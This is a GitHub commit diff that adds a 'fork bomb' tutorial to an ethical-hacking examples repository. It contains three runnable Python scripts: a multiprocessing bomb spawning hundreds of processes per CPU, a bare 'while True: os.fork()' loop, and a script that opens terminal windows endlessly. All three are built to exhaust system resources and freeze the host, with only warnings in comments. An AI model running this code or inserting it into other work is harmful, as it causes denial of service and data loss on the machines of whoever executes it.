Skip to content

Commit 9e60578

Browse files
committed
add fork bomb tutorial
1 parent 92e40f6 commit 9e60578

File tree

5 files changed

+94
-0
lines changed

5 files changed

+94
-0
lines changed

Diff for: README.md

+1
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
5858
- [How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python). ([code](ethical-hacking/implement-vigenere-cipher))
5959
- [How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python). ([code](ethical-hacking/fake-user-data-generator))
6060
- [Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python). ([code](ethical-hacking/bluetooth-scanner))
61+
- [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python). ([code](ethical-hacking/fork-bomb))
6162

6263
- ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
6364
- ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)

Diff for: ethical-hacking/fork-bomb/README.md

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python)

Diff for: ethical-hacking/fork-bomb/fork_bomb.py

+45
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
"""Using `multiprocessing` module to spawn processes as a cross-platform fork bomb."""
2+
# Import necessary modules.
3+
from multiprocessing import Process, cpu_count
4+
import time
5+
6+
# Define a function named counter that takes a number parameter.
7+
def counter(number):
8+
# Run a loop until number reaches 0.
9+
while number > 0:
10+
number -= 1
11+
# Introduce a sleep of 100 ms to intentionally slow down the loop.
12+
time.sleep(0.1) # Adjust sleep time as needed to make it slower.
13+
14+
15+
def spawn_processes(num_processes):
16+
# Create a list of Process instances, each targeting the counter function.
17+
processes = [Process(target=counter, args=(1000,)) for _ in range(num_processes)]
18+
# Start each process.
19+
for process in processes:
20+
process.start()
21+
print(f"Started process {process.pid}.")
22+
# Wait for each process to finish before moving on.
23+
for process in processes:
24+
process.join()
25+
print(f"Process {process.pid} has finished.")
26+
27+
# Define the main function.
28+
def main():
29+
# Get the number of logical processors on the system.
30+
num_processors = cpu_count()
31+
# Create a large number of processes (num_processors * 200).
32+
num_processes = num_processors * 200 # Adjust the number of processes to spawn as needed.
33+
print(f"Number of logical processors: {num_processors}")
34+
print(f"Creating {num_processes} processes.")
35+
print("Warning: This will consume a lot of system resources, and potentially freeze your PC, make sure to adjust the number of processes and sleep seconds as needed.")
36+
# Run an infinite loop if you want.
37+
# while True:
38+
# spawn_processes(num_processes)
39+
# For demonstration purposes, run the function once and monitor the task manager.
40+
spawn_processes(num_processes)
41+
42+
43+
# Execute the main function.
44+
if __name__ == "__main__":
45+
main()

Diff for: ethical-hacking/fork-bomb/fork_bomb_simplest.py

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
"""Simplest form of a fork bomb. It creates a new process in an infinite loop using os.fork().
2+
It only works on Unix-based systems, and it will consume all system resources, potentially freezing the system.
3+
Be careful when running this code."""
4+
import os
5+
# import time
6+
7+
while True:
8+
os.fork()
9+
# time.sleep(0.5)

Diff for: ethical-hacking/fork-bomb/terminal_spawn_bomb.py

+38
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
"""A terminal spawn bomb that infinitely opens a new terminal window on the host system.
2+
Be careful when running this script, as it overwhelms the system with terminal windows.
3+
The time.sleep() is introduced to test the script."""
4+
import os
5+
import subprocess
6+
import time
7+
8+
# List of common terminal emulators
9+
terminal_emulators = [
10+
"gnome-terminal", # GNOME
11+
"konsole", # KDE
12+
"xfce4-terminal", # XFCE
13+
"lxterminal", # LXDE
14+
"mate-terminal", # MATE
15+
"terminator",
16+
"xterm",
17+
"urxvt"
18+
]
19+
20+
def open_terminal():
21+
for emulator in terminal_emulators:
22+
try:
23+
if subprocess.call(["which", emulator], stdout=subprocess.DEVNULL) == 0:
24+
os.system(f"{emulator} &")
25+
return True
26+
except Exception as e:
27+
continue
28+
print("No known terminal emulator found!")
29+
return False
30+
31+
while True:
32+
if os.name == "nt":
33+
os.system("start cmd")
34+
else:
35+
if not open_terminal():
36+
break # Break the loop if no terminal emulator is found
37+
# Introduce a sleep of 500 ms to intentionally slow down the loop so you can stop the script.
38+
time.sleep(0.5) # Adjust sleep time as needed to make it slower.

0 commit comments

Comments
 (0)